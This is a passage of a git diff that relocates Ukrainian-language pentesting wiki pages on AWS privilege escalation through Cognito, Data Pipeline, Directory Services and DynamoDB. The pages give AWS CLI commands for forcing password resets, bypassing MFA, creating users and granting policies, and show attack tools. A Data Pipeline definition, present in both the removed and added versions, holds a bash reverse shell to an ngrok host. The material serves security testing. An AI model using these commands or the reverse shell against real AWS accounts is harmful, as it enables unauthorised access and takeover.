-Зловмисник з цим дозволом може **створити новий User Pool Client з меншими обмеженнями**, ніж вже існуючі клієнти пулу. Наприклад, новий клієнт може дозволяти будь-який метод аутентифікації, не мати жодного секрету, мати вимкнене відкликання токенів, дозволяти токени бути дійсними протягом більш тривалого періоду...
-
-Те ж саме можна зробити, якщо замість створення нового клієнта, **модифікується існуючий**.
-
-В [**командному рядку**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (або [**оновленому**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) ви можете побачити всі опції, перевірте це!.
-```bash
-aws cognito-idp create-user-pool-client \
---user-pool-id  \
---client-name  \
-[...]
-```
-**Потенційний вплив:** Потенційний непрямий підвищення привілеїв до авторизованого користувача Identity Pool, використаного User Pool, шляхом створення нового клієнта, який послаблює заходи безпеки і дозволяє зловмиснику увійти з користувачем, якого він зміг створити.
-
-### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
-
-Зловмисник може зловживати цим дозволом для створення користувачів, завантажуючи csv з новими користувачами.
-```bash
-# Create a new import job
-aws cognito-idp create-user-import-job \
---job-name  \
---user-pool-id  \
---cloud-watch-logs-role-arn 
-
-# Use a new import job
-aws cognito-idp start-user-import-job \
---user-pool-id  \
---job-id 
-
-# Both options before will give you a URL where you can send the CVS file with the users to create
-curl -v -T "PATH_TO_CSV_FILE" \
--H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
-```
-(У випадку, якщо ви створюєте нову задачу імпорту, вам також може знадобитися дозвіл iam passrole, я ще не тестував це).
-
-**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача.
-
-### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
-
-Зловмисник може створити нового постачальника ідентичностей, щоб потім мати можливість **увійти через цього постачальника**.
-```bash
-aws cognito-idp create-identity-provider \
---user-pool-id  \
---provider-name  \
---provider-type  \
---provider-details  \
-[--attribute-mapping ] \
-[--idp-identifiers ]
-```
-**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача.
-
-### cognito-sync:\* Аналіз
-
-Це дуже поширений дозвіл за замовчуванням у ролях пулів ідентичностей Cognito. Навіть якщо символ підстановки в дозволах завжди виглядає погано (особливо з AWS), **надані дозволи не є надто корисними з точки зору атакуючого**.
-
-Цей дозвіл дозволяє читати інформацію про використання пулів ідентичностей та ідентифікатори ідентичностей всередині пулів ідентичностей (що не є чутливою інформацією).\
-Ідентифікатори ідентичностей можуть мати [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), які призначені для них, що є інформацією про сесії (AWS визначає це як **збережену гру**). Можливо, що це містить якийсь вид чутливої інформації (але ймовірність досить низька). Ви можете знайти на [**сторінці перерахування**](../aws-services/aws-cognito-enum/) як отримати доступ до цієї інформації.
-
-Атакуючий також може використовувати ці дозволи, щоб **зареєструватися в потоці Cognito, який публікує зміни** в цих датасетах або **lambda, яка спрацьовує на події cognito**. Я не бачив, щоб це використовувалося, і не очікував би чутливої інформації тут, але це не неможливо.
-
-### Автоматичні інструменти
-
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), фреймворк експлуатації AWS, тепер включає модулі "cognito\_\_enum" та "cognito\_\_attack", які автоматизують перерахування всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та підвищення привілеїв на основі змінних атрибутів, що підлягають модифікації, використовуваних облікових даних пулу ідентичностей, ролей, які можна прийняти в токенах ідентичності тощо.
-
-Для опису функцій модулів дивіться частину 2 [блог-посту](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Для інструкцій з установки дивіться основну сторінку [Pacu](https://github.com/RhinoSecurityLabs/pacu).
-
-#### Використання
-
-Приклад використання cognito\_\_attack для спроби створення користувача та всіх векторів підвищення привілеїв проти даного пулу ідентичностей та клієнта пулу користувачів:
-```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
-59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
-```
-Приклад використання cognito\_\_enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичностей, користувачів тощо, видимих у поточному обліковому записі AWS:
-```bash
-Pacu (new:test) > run cognito__enum
-```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) - це інструмент CLI на python, який реалізує різні атаки на Cognito, включаючи ескалацію привілеїв.
-
-#### Встановлення
-```bash
-$ pip install cognito-scanner
-```
-#### Використання
-```bash
-$ cognito-scanner --help
-```
-Для отримання додаткової інформації перегляньте [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
new file mode 100644
index 000000000..f6108a7ff
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
@@ -0,0 +1,274 @@
+# AWS - Cognito Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Детальніше про Cognito див.:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Збір облікових даних з Identity Pool
+
+Оскільки Cognito може надавати **IAM role credentials** як **авторизованим**, так і **неавторизованим** **користувачам**, якщо ви знайдете **Identity Pool ID** додатку (зазвичай він захардкожений у ньому), ви можете отримати нові облікові дані і таким чином privesc (в межах AWS аккаунта, де у вас, ймовірно, раніше взагалі не було жодних облікових даних).
+
+Для додаткової інформації [**перегляньте цю сторінку**](../../aws-unauthenticated-enum-access/index.html#cognito).
+
+**Потенційний вплив:** Прямий privesc до ролі сервісу, прикріпленої до неавторизованих користувачів (і, ймовірно, до тієї, прикріпленої до авторизованих користувачів).
+
+### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
+
+З цим дозволом ви можете **надати будь-яку cognito роль** авторизованим/неавторизованим користувачам cognito app.
+```bash
+aws cognito-identity set-identity-pool-roles \
+--identity-pool-id  \
+--roles unauthenticated=
+
+# Get credentials
+## Get one ID
+aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
+## Get creds for that id
+aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
+```
+Якщо cognito app **не має увімкненої опції unauthenticated users**, вам також може знадобитися дозвіл `cognito-identity:UpdateIdentityPool`, щоб її увімкнути.
+
+**Potential Impact:** Прямий privesc до будь-якої ролі cognito.
+
+### `cognito-identity:update-identity-pool`
+
+Зловмисник із цим дозволом може, наприклад, налаштувати під своїм контролем Cognito User Pool або будь-який інший identity provider, у який він може **увійти** як спосіб доступу до цього Cognito Identity Pool. Тоді просто **увійшовши** в того провайдера користувачів, він **отримає доступ до налаштованої authenticated role в Identity Pool**.
+```bash
+# This example is using a Cognito User Pool as identity provider
+## but you could use any other identity provider
+aws cognito-identity update-identity-pool \
+--identity-pool-id  \
+--identity-pool-name  \
+[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
+--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
+
+# Now you need to login to the User Pool you have configured
+## after having the id token of the login continue with the following commands:
+
+# In this step you should have already an ID Token
+aws cognito-identity get-id \
+--identity-pool-id  \
+--logins cognito-idp..amazonaws.com/=
+
+# Get the identity_id from thr previous commnad response
+aws cognito-identity get-credentials-for-identity \
+--identity-id  \
+--logins cognito-idp..amazonaws.com/=
+```
+Також можна **зловживати цим дозволом, щоб дозволити basic auth**:
+```bash
+aws cognito-identity update-identity-pool \
+--identity-pool-id  \
+--identity-pool-name  \
+--allow-unauthenticated-identities
+--allow-classic-flow
+```
+**Потенційний вплив**: Компрометація налаштованої authenticated IAM role у identity pool.
+
+### `cognito-idp:AdminAddUserToGroup`
+
+Цей дозвіл дозволяє **add a Cognito user to a Cognito group**, тому нападник може зловживати цим дозволом, щоб додати під своїм контролем користувача до інших груп з **кращими** привілеями або **іншими IAM roles**:
+```bash
+aws cognito-idp admin-add-user-to-group \
+--user-pool-id  \
+--username  \
+--group-name 
+```
+**Можливий вплив:** Privesc до інших Cognito груп та IAM ролей, прикріплених до User Pool Groups.
+
+### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
+
+Зловмисник з такими дозволами може **створити/оновити групи** з **будь-якою IAM role, яку може використовувати скомпрометований Cognito Identity Provider**, і зробити скомпрометованого користувача частиною групи, отримавши доступ до всіх цих ролей:
+```bash
+aws cognito-idp create-group --group-name Hacked --user-pool-id  --role-arn 
+```
+**Потенційний вплив:** Privesc до інших ролей Cognito IAM.
+
+### `cognito-idp:AdminConfirmSignUp`
+
+Цей дозвіл дозволяє **підтвердити реєстрацію**. За замовчуванням у додатках Cognito будь-хто може зареєструватися; якщо це дозволено, користувач може створити обліковий запис із будь-якими даними й підтвердити його за допомогою цього дозволу.
+```bash
+aws cognito-idp admin-confirm-sign-up \
+--user-pool-id  \
+--username 
+```
+**Потенційний вплив:** Непряме privesc до identity pool IAM role для автентифікованих користувачів, якщо ви можете зареєструвати нового користувача. Непряме privesc до інших функціональностей додатку через можливість підтверджувати будь‑який акаунт.
+
+### `cognito-idp:AdminCreateUser`
+
+Цей дозвіл дозволяє зловмиснику створити нового користувача в user pool. Новий користувач створюється в активному стані, але повинен буде змінити свій пароль.
+```bash
+aws cognito-idp admin-create-user \
+--user-pool-id  \
+--username  \
+[--user-attributes ] ([Name=email,Value=email@gmail.com])
+[--validation-data ]
+[--temporary-password ]
+```
+**Потенційний вплив:** Прямий privesc до identity pool IAM role для authenticated users. Побічний privesc до інших функцій додатку, що дозволяє створювати будь-якого користувача
+
+### `cognito-idp:AdminEnableUser`
+
+Ці permissions можуть допомогти у дуже рідкісному сценарії, коли attacker знайшов credentials деактивованого користувача і йому потрібно **заново активувати цього користувача**.
+```bash
+aws cognito-idp admin-enable-user \
+--user-pool-id  \
+--username 
+```
+**Потенційний вплив:** Непрямий privesc до identity pool IAM role для authenticated users та отримання permissions користувача, якщо зловмисник мав облікові дані disabled user.
+
+### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
+
+Цей дозвіл дозволяє увійти за допомогою [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Для додаткової інформації перейдіть за посиланням.
+
+### `cognito-idp:AdminSetUserPassword`
+
+Цей дозвіл дозволяє зловмиснику **змінити пароль будь-якого користувача**, що дає змогу йому видавати себе за будь-якого користувача (якщо у нього не ввімкнено MFA).
+```bash
+aws cognito-idp admin-set-user-password \
+--user-pool-id  \
+--username  \
+--password  \
+--permanent
+```
+**Потенційний вплив:** Прямий privesc практично до будь-якого користувача, тож доступ до всіх груп, членом яких є кожен користувач, а також доступ до Identity Pool authenticated IAM role.
+
+### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
+
+**AdminSetUserSettings**: Зловмисник може потенційно зловживати цим дозволом, щоб встановити мобільний телефон, що перебуває під контролем зловмисника, як **SMS MFA користувача**.
+```bash
+aws cognito-idp admin-set-user-settings \
+--user-pool-id  \
+--username  \
+--mfa-options 
+```
+**SetUserMFAPreference:** Подібно до попереднього, цей дозвіл можна використати для встановлення налаштувань MFA користувача, щоб обійти захист MFA.
+```bash
+aws cognito-idp admin-set-user-mfa-preference \
+[--sms-mfa-settings ] \
+[--software-token-mfa-settings ] \
+--username  \
+--user-pool-id 
+```
+**SetUserPoolMfaConfig**: Схоже на попередній, цей дозвіл можна використати для налаштування MFA preferences у user pool, щоб bypass MFA protection.
+```bash
+aws cognito-idp set-user-pool-mfa-config \
+--user-pool-id  \
+[--sms-mfa-configuration ] \
+[--software-token-mfa-configuration ] \
+[--mfa-configuration ]
+```
+**UpdateUserPool:** Також можливо оновити user pool, щоб змінити політику MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+
+**Potential Impact:** Indirect privesc до будь-якого користувача, чиї credentials відомі нападнику; це може дозволити обійти захист MFA.
+
+### `cognito-idp:AdminUpdateUserAttributes`
+
+Нападник з цим дозволом може змінити email, номер телефону або будь-який інший атрибут користувача, що перебуває під його контролем, щоб спробувати отримати більше привілеїв у відповідному застосунку.\
+Це дозволяє змінити електронну адресу або номер телефону та позначити їх як підтверджені.
+```bash
+aws cognito-idp admin-update-user-attributes \
+--user-pool-id  \
+--username  \
+--user-attributes 
+```
+**Потенційний вплив:** Потенційне непряме privesc у базовому застосунку, який використовує Cognito User Pool і надає привілеї на основі атрибутів користувача.
+
+### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
+
+Зловмисник з цим дозволом може **створити новий User Pool Client з меншими обмеженнями**, ніж існуючі клієнти пулу. Наприклад, новий клієнт може дозволяти будь-який метод аутентифікації, не мати жодного секрету, мати відключене відкликання токенів, дозволяти довший термін дії токенів...
+
+Те саме можна зробити, якщо замість створення нового клієнта **змінити існуючий**.
+
+У [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (або у [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) ви можете побачити всі опції, перевірте!
+```bash
+aws cognito-idp create-user-pool-client \
+--user-pool-id  \
+--client-name  \
+[...]
+```
+**Potential Impact:** Потенційний непрямий privesc для авторизованого користувача Identity Pool, що використовується User Pool — через створення нового client, який послаблює заходи безпеки й дозволяє attacker залогінитися під користувачем, якого він зміг створити.
+
+### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
+
+Attacker може зловживати цим дозволом, щоб створювати користувачів, завантажуючи csv з новими користувачами.
+```bash
+# Create a new import job
+aws cognito-idp create-user-import-job \
+--job-name  \
+--user-pool-id  \
+--cloud-watch-logs-role-arn 
+
+# Use a new import job
+aws cognito-idp start-user-import-job \
+--user-pool-id  \
+--job-id 
+
+# Both options before will give you a URL where you can send the CVS file with the users to create
+curl -v -T "PATH_TO_CSV_FILE" \
+-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
+```
+(У випадку створення нового import job вам може також знадобитися iam passrole permission, я цього ще не перевіряв).
+
+**Потенційний вплив:** Прямий privesc до identity pool IAM role для авторизованих користувачів. Опосередкований privesc до інших функціональностей додатку, які можуть створювати будь-якого користувача.
+
+### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
+
+Зловмисник може створити нового провайдера ідентичності, щоб потім мати змогу **увійти через цього провайдера**.
+```bash
+aws cognito-idp create-identity-provider \
+--user-pool-id  \
+--provider-name  \
+--provider-type  \
+--provider-details  \
+[--attribute-mapping ] \
+[--idp-identifiers ]
+```
+**Potential Impact:** Прямий privesc до identity pool IAM role для authenticated users. Побічний privesc до інших функціональностей додатка, що дозволяє створювати будь-якого користувача.
+
+### cognito-sync:\* Аналіз
+
+This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the **given permissions aren't super useful from an attackers perspective**.
+
+Цей дозвіл дозволяє читати інформацію про використання Identity Pools та Identity IDs всередині Identity Pools (що не є чутливою інформацією).\
+Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). Можливо, це містить якийсь тип чутливої інформації (але ймовірність цього досить низька). Ви можете знайти на [**enumeration page**](../../aws-services/aws-cognito-enum/index.html), як отримати доступ до цієї інформації.
+
+An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datasets or a **lambda that triggers on cognito events**. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible.
+
+### Автоматичні інструменти
+
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, тепер включає модулі "cognito\_\_enum" та "cognito\_\_attack", які автоматизують enumeration of all Cognito assets in an account та позначають слабкі конфігурації, user attributes used for access control тощо, а також автоматизують створення користувачів (включаючи MFA support) та privilege escalation на основі modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens тощо.
+
+For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
+
+#### Використання
+
+Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
+```bash
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
+59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
+```
+Приклад використання cognito\_\_enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичності, користувачів тощо, видимих у поточному обліковому записі AWS:
+```bash
+Pacu (new:test) > run cognito__enum
+```
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) — це CLI-утиліта на python, яка реалізує різні атаки на Cognito, включаючи privesc escalation.
+
+#### Встановлення
+```bash
+$ pip install cognito-scanner
+```
+#### Використання
+```bash
+$ cognito-scanner --help
+```
+Для отримання додаткової інформації перегляньте [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
deleted file mode 100644
index e3b174803..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ /dev/null
@@ -1,68 +0,0 @@
-# AWS - Datapipeline Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## datapipeline
-
-Для отримання додаткової інформації про datapipeline перегляньте:
-
-{{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
-{{#endref}}
-
-### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
-
-Користувачі з цими **дозволами можуть підвищити привілеї, створивши Data Pipeline** для виконання довільних команд, використовуючи **дозволи призначеної ролі:**
-```bash
-aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
-```
-Після створення конвеєра зловмисник оновлює його визначення, щоб вказати конкретні дії або створення ресурсів:
-```json
-{
-"objects": [
-{
-"id": "CreateDirectory",
-"type": "ShellCommandActivity",
-"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
-"runsOn": { "ref": "instance" }
-},
-{
-"id": "Default",
-"scheduleType": "ondemand",
-"failureAndRerunMode": "CASCADE",
-"name": "Default",
-"role": "assumable_datapipeline",
-"resourceRole": "assumable_datapipeline"
-},
-{
-"id": "instance",
-"name": "instance",
-"type": "Ec2Resource",
-"actionOnTaskFailure": "terminate",
-"actionOnResourceFailure": "retryAll",
-"maximumRetries": "1",
-"instanceType": "t2.micro",
-"securityGroups": ["default"],
-"role": "assumable_datapipeline",
-"resourceRole": "assumable_ec2_profile_instance"
-}
-]
-}
-```
-> [!NOTE]
-> Зверніть увагу, що **роль** в **рядках 14, 15 та 27** повинна бути роллю, **яку може прийняти datapipeline.amazonaws.com**, а роль в **рядку 28** повинна бути **роллю, яку може прийняти ec2.amazonaws.com з профілем EC2**.
->
-> Крім того, EC2 інстанс матиме доступ лише до ролі, яку може прийняти EC2 інстанс (тому ви можете вкрасти лише цю).
-```bash
-aws datapipeline put-pipeline-definition --pipeline-id  \
---pipeline-definition file:///pipeline/definition.json
-```
-Файл **визначення конвеєра, створений зловмисником, містить директиви для виконання команд** або створення ресурсів через AWS API, використовуючи дозволи ролі Data Pipeline для потенційного отримання додаткових привілеїв.
-
-**Потенційний вплив:** Пряме підвищення привілеїв до ролі служби ec2.
-
-## Посилання
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
new file mode 100644
index 000000000..2ddb02984
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
@@ -0,0 +1,68 @@
+# AWS - Datapipeline Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## datapipeline
+
+Для отримання додаткової інформації про datapipeline див. нижче:
+
+{{#ref}}
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
+
+Користувачі з цими **дозволами можуть escalate privileges шляхом створення Data Pipeline** для виконання довільних команд, використовуючи **дозволи призначеної ролі:**
+```bash
+aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
+```
+Після створення pipeline атакувач оновлює його визначення, щоб задати конкретні дії або створення ресурсів:
+```json
+{
+"objects": [
+{
+"id": "CreateDirectory",
+"type": "ShellCommandActivity",
+"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
+"runsOn": { "ref": "instance" }
+},
+{
+"id": "Default",
+"scheduleType": "ondemand",
+"failureAndRerunMode": "CASCADE",
+"name": "Default",
+"role": "assumable_datapipeline",
+"resourceRole": "assumable_datapipeline"
+},
+{
+"id": "instance",
+"name": "instance",
+"type": "Ec2Resource",
+"actionOnTaskFailure": "terminate",
+"actionOnResourceFailure": "retryAll",
+"maximumRetries": "1",
+"instanceType": "t2.micro",
+"securityGroups": ["default"],
+"role": "assumable_datapipeline",
+"resourceRole": "assumable_ec2_profile_instance"
+}
+]
+}
+```
+> [!NOTE]
+> Зауважте, що **role** у **рядках 14, 15 і 27** має бути role **assumable by datapipeline.amazonaws.com**, а role у **рядку 28** має бути **role assumable by ec2.amazonaws.com with a EC2 profile instance**.
+>
+> Крім того, EC2 instance матиме доступ лише до role assumable by the EC2 instance (тому ви зможете вкрасти лише її).
+```bash
+aws datapipeline put-pipeline-definition --pipeline-id  \
+--pipeline-definition file:///pipeline/definition.json
+```
+**Файл визначення pipeline, створений зловмисником, містить директиви для виконання команд** або створення ресурсів через AWS API, використовуючи дозволи ролі Data Pipeline для потенційного отримання додаткових привілеїв.
+
+**Можливий вплив:** Прямий privesc до зазначеної ролі сервісу ec2.
+
+## Посилання
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
deleted file mode 100644
index 9cf105b48..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - Привілейоване підвищення в Directory Services
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Directory Services
-
-Для отримання додаткової інформації про служби каталогів перегляньте:
-
-{{#ref}}
-../aws-services/aws-directory-services-workdocs-enum.md
-{{#endref}}
-
-### `ds:ResetUserPassword`
-
-Ця дозволяє **змінювати** **пароль** будь-якого **існуючого** користувача в Active Directory.\
-За замовчуванням, єдиним існуючим користувачем є **Admin**.
-```
-aws ds reset-user-password --directory-id  --user-name Admin --new-password Newpassword123.
-```
-### AWS Management Console
-
-Можливо активувати **URL доступу до програми**, до якого користувачі з AD можуть отримати доступ для входу:
-
-
- -А потім **надати їм роль AWS IAM** для входу, таким чином користувач/група AD матиме доступ до консолі управління AWS: - -
- -Очевидно, що немає жодного способу активувати URL доступу до програми, консоль управління AWS та надати дозволи - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md new file mode 100644 index 000000000..3b5b9b5e8 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md @@ -0,0 +1,32 @@ +# AWS - Directory Services Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Directory Services + +Для отримання додаткової інформації про Directory Services див.: + +{{#ref}} +../../aws-services/aws-directory-services-workdocs-enum.md +{{#endref}} + +### `ds:ResetUserPassword` + +Цей дозвіл дозволяє **змінити** **пароль** будь-якого **існуючого** користувача в Active Directory.\ +За замовчуванням єдиним існуючим користувачем є **Admin**. +``` +aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. +``` +### AWS Management Console + +Можна ввімкнути **application access URL**, яким користувачі з AD можуть скористатися для входу: + +
+ +А потім **grant them an AWS IAM role** на час їхнього входу, таким чином користувач/група AD отримає доступ до AWS Management Console: + +
+ +Схоже, немає способу одночасно увімкнути application access URL, AWS Management Console та надати дозволи + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md deleted file mode 100644 index 6adffc1e8..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ /dev/null @@ -1,72 +0,0 @@ -# AWS - DynamoDB Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## dynamodb - -Для отримання додаткової інформації про dynamodb перегляньте: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -### `dynamodb:PutResourcePolicy`, і за бажанням `dynamodb:GetResourcePolicy` - -З березня 2024 року AWS пропонує *політики на основі ресурсів* для DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). - -Отже, якщо у вас є `dynamodb:PutResourcePolicy` для таблиці, ви можете просто надати собі або будь-якому іншому суб'єкту повний доступ до таблиці. - -Надання `dynamodb:PutResourcePolicy` випадковому суб'єкту часто відбувається випадково, якщо адміністратори вважають, що надання `dynamodb:Put*` дозволить лише суб'єкту додавати елементи до бази даних - або якщо вони надали цей набір дозволів до березня 2024 року... - -В ідеалі, у вас також є `dynamodb:GetResourcePolicy`, щоб ви не перезаписували інші потенційно важливі дозволи, а лише інжектували додаткові дозволи, які вам потрібні: -```bash -# get the current resource based policy (if it exists) and save it to a file -aws dynamodb get-resource-policy \ ---resource-arn \ ---query 'Policy' \ ---output text > policy.json -``` -Якщо ви не можете отримати поточну політику, просто використайте цю, яка надає повний доступ до таблиці вашому принципалу: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "FullAccessToDynamoDBTable", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::/" -}, -"Action": [ -"dynamodb:*" -], -"Resource": [ -"arn:aws:dynamodb:::table/" -] -} -] -} -``` -Якщо вам потрібно налаштувати це, ось список усіх можливих дій DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). А ось список усіх дій, які можуть бути дозволені через політику на основі ресурсів *І які з них можуть використовуватися між обліковими записами (подумайте про ексфільтрацію даних!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) - -Тепер, з документом політики `policy.json`, додайте політику ресурсу: -```bash -# put the new policy using the prepared policy file -# dynamodb does weirdly not allow a direct file upload -aws dynamodb put-resource-policy \ ---resource-arn \ ---policy "$(cat policy.json)" -``` -Тепер у вас повинні бути потрібні дозволи. - -### Постексплуатація - -Наскільки мені відомо, **немає іншого прямого способу підвищити привілеї в AWS, просто маючи деякі дозволи AWS `dynamodb`**. Ви можете **читати чутливу** інформацію з таблиць (яка може містити облікові дані AWS) і **записувати інформацію в таблиці** (що може спровокувати інші вразливості, такі як ін'єкції коду lambda...), але всі ці варіанти вже розглянуті на **сторінці Постексплуатації DynamoDB**: - -{{#ref}} -../aws-post-exploitation/aws-dynamodb-post-exploitation.md -{{#endref}} - -### TODO: Читати дані, зловживаючи потоками даних - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md new file mode 100644 index 000000000..b90cff13f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md @@ -0,0 +1,72 @@ +# AWS - DynamoDB Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## dynamodb + 